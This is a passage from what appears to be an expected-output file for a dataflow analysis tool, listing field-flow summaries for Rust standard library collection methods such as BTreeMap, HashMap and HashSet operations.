ReturnValue.Field[crate::collections::TryReserveError::kind] in lang:alloc::_::::from | TryReserveError | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::binary_heap::BinaryHeap::data] in lang:alloc::_::::clone | BinaryHeap | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::binary_heap::BinaryHeap::data] in lang:alloc::_::::from | BinaryHeap | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::binary_heap::DrainSorted::inner] in lang:alloc::_::::drain_sorted | DrainSorted | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::drain_sorted | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::binary_heap::IntoIterSorted::inner] in lang:alloc::_::::into_iter_sorted | IntoIterSorted | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::into_iter_sorted | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::dedup_sorted_iter::DedupSortedIter::iter] in lang:alloc::_::::new | DedupSortedIter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::dedup_sorted_iter::DedupSortedIter::iter].Field[crate::iter::adapters::peekable::Peekable::iter] in lang:alloc::_::::new | Peekable.iter | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::dedup_sorted_iter::DedupSortedIter::iter] in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::clone | BTreeMap.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::bulk_build_from_sorted_iter | BTreeMap.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::bulk_build_from_sorted_iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::new_in | BTreeMap.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::split_off | BTreeMap.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::split_off | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value] in lang:alloc::_::::clone | ManuallyDrop | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value] in lang:alloc::_::::bulk_build_from_sorted_iter | ManuallyDrop | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::bulk_build_from_sorted_iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Field[crate::mem::manually_drop::ManuallyDrop::value] in lang:alloc::_::::new_in | ManuallyDrop | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::new_in | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc].Reference in lang:alloc::_::::split_off | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::BTreeMap::alloc] in lang:alloc::_::::split_off | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Cursor::current] in lang:alloc::_::::clone | Cursor.current | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Cursor::root] in lang:alloc::_::::clone | Cursor.root | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::ExtractIf::pred] in lang:alloc::_::::extract_if | ExtractIf.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::iter | Iter.length | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::iter | Iter.length | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::clone | Iter.length | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Iter::length] in lang:alloc::_::::iter | Iter.length | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Iter::range] in lang:alloc::_::::clone | Iter.range | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::IterMut::length] in lang:alloc::_::::iter_mut | IterMut.length | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::iter_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::Range::inner] in lang:alloc::_::::clone | Range | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::Entry::Occupied(0)] in lang:alloc::_::::and_modify | Occupied | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::and_modify | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::Entry::Vacant(0)] in lang:alloc::_::::entry | Vacant | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::entry | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::Entry::Vacant(0)] in lang:alloc::_::::and_modify | Vacant | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::and_modify | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::Entry::Vacant(0)].Field[crate::collections::btree::map::entry::VacantEntry::key] in lang:alloc::_::::entry | VacantEntry.key | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::Entry::Vacant(0)] in lang:alloc::_::::entry | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::OccupiedEntry::alloc] in lang:alloc::_::::insert_entry | OccupiedEntry.alloc | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::insert_entry | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::map::entry::OccupiedEntry::dormant_map] in lang:alloc::_::::insert_entry | OccupiedEntry.dormant_map | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::insert_entry | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::merge_iter::MergeIterInner::a] in lang:alloc::_::::new | MergeIterInner.a | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::merge_iter::MergeIterInner::b] in lang:alloc::_::::new | MergeIterInner.b | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::navigate::LazyLeafHandle::Edge(0)] in lang:alloc::_::::clone | Edge | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::navigate::LazyLeafHandle::Root(0)] in lang:alloc::_::::clone | Root | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::BalancingContext::parent] in lang:alloc::_::::consider_for_balancing | BalancingContext.parent | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::consider_for_balancing | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Internal(0)] in lang:alloc::_::::force | Internal | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::force | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Internal(0)].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::force | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Internal(0)] in lang:alloc::_::::force | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Leaf(0)] in lang:alloc::_::::force | Leaf | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::force | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Leaf(0)].Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::force | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::ForceResult::Leaf(0)] in lang:alloc::_::::force | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::merge_tracking_child_edge | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::merge_tracking_child_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::steal_right | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::steal_right | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::awaken | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::awaken | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::cast_to_leaf_unchecked | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cast_to_leaf_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::dormant | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::dormant | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::forget_node_type | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::forget_node_type | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::left_edge | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::left_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::new_edge | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::new_kv | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_kv | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::reborrow | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::reborrow | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::idx] in lang:alloc::_::::reborrow_mut | Handle.idx | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::reborrow_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::merge_tracking_child_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::merge_tracking_child_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::steal_left | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::steal_left | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::steal_right | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::steal_right | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::left_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::left_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::new_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::new_kv | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::new_kv | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::reborrow | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::reborrow | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::right_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::right_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::first_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::first_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::first_kv | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::first_kv | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::last_edge | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::last_edge | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::last_kv | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::last_kv | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::push_with_handle | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::push_with_handle | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::reborrow | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::reborrow | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::push_with_handle | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::push_with_handle | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::reborrow | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::reborrow | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node].Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::push_with_handle | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::push_with_handle | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::awaken | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::awaken | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::borrow_mut | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::borrow_valmut | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_valmut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::cast_to_leaf_unchecked | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cast_to_leaf_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::dormant | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::dormant | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::forget_type | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::forget_type | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::into_dying | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::into_dying | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::push_internal_level | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::push_internal_level | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::reborrow | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::reborrow | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::awaken | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::awaken | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::borrow_mut | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::borrow_valmut | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::borrow_valmut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::cast_to_leaf_unchecked | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::cast_to_leaf_unchecked | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::dormant | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::dormant | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::forget_type | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::forget_type | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::into_dying | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::into_dying | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::push_internal_level | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::push_internal_level | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::NodeRef::node] in lang:alloc::_::::reborrow | NodeRef.node | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::reborrow | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::SplitResult::kv] in lang:alloc::_::::forget_node_type | SplitResult.kv | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::forget_node_type | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::SplitResult::left] in lang:alloc::_::::split | SplitResult.left | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::split | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::SplitResult::right] in lang:alloc::_::::split | SplitResult.right | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::split | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::SplitResult::right].Field[crate::collections::btree::node::NodeRef::height] in lang:alloc::_::::split | NodeRef.height | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::node::SplitResult::right] in lang:alloc::_::::split | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchBound::Excluded(0)] in lang:alloc::_::::from_range | Excluded | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_range | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchBound::Included(0)] in lang:alloc::_::::from_range | Included | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::from_range | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::Found(0)] in lang:alloc::_::::search_node | Found | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::search_node | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::Found(0)].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::search_node | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::Found(0)] in lang:alloc::_::::search_node | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::GoDown(0)] in lang:alloc::_::::search_node | GoDown | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::search_node | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::GoDown(0)].Field[crate::collections::btree::node::Handle::node] in lang:alloc::_::::search_node | Handle.node | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::search::SearchResult::GoDown(0)] in lang:alloc::_::::search_node | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::BTreeSet::map] in lang:alloc::_::::clone | BTreeSet | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::CursorMutKey::inner] in lang:alloc::_::::with_mutable_key | CursorMutKey | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::with_mutable_key | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Difference::inner] in lang:alloc::_::::difference | Difference | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::difference | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Difference::inner].Field[crate::collections::btree::set::DifferenceInner::Search::other_set] in lang:alloc::_::::difference | Search.other_set | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Difference::inner] in lang:alloc::_::::difference | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::ExtractIf::pred] in lang:alloc::_::::extract_if | ExtractIf.pred | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::extract_if | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Intersection::inner] in lang:alloc::_::::intersection | Intersection | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:alloc::_::::intersection | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Intersection::inner].Field[crate::collections::btree::set::IntersectionInner::Search::large_set] in lang:alloc::_::::intersection | Search.large_set | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::btree::set::Intersection::inner] in lang:alloc::_::::intersection | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::Entry::Occupied(0)] in lang:std::_::::and_modify | Occupied | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::and_modify | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::Entry::Vacant(0)] in lang:std::_::::and_modify | Vacant | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::and_modify | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::HashMap::base] in lang:std::_::::clone | HashMap | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::HashMap::base].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::HashMap::base] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::Iter::base] in lang:std::_::::clone | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::Iter::base].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::Iter::base] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::RawEntryBuilder::map] in lang:std::_::::raw_entry | RawEntryBuilder | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::raw_entry | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::RawEntryBuilderMut::map] in lang:std::_::::raw_entry_mut | RawEntryBuilderMut | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::raw_entry_mut | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::RawEntryMut::Occupied(0)] in lang:std::_::::and_modify | Occupied | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::and_modify | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::map::RawEntryMut::Vacant(0)] in lang:std::_::::and_modify | Vacant | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::and_modify | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Difference::other] in lang:std::_::::difference | Difference.other | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::difference | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::HashSet::base] in lang:std::_::::clone | HashSet | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::HashSet::base].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::HashSet::base] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Intersection::other] in lang:std::_::::intersection | Intersection.other | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::intersection | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Iter::base] in lang:std::_::::clone | Iter | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Iter::base].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Iter::base] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter] in lang:std::_::::clone | SymmetricDifference | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::SymmetricDifference::iter] in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Union::iter] in lang:std::_::::clone | Union | file://:0:0:0:0 | [summary] to write: ReturnValue in lang:std::_::::clone | +| file://:0:0:0:0 | [summary] to write: ReturnValue.Field[crate::collections::hash::set::Union::iter].Reference in lang:std::_::::clone | &ref | file://:0:0:0:0 | [summary] to write: 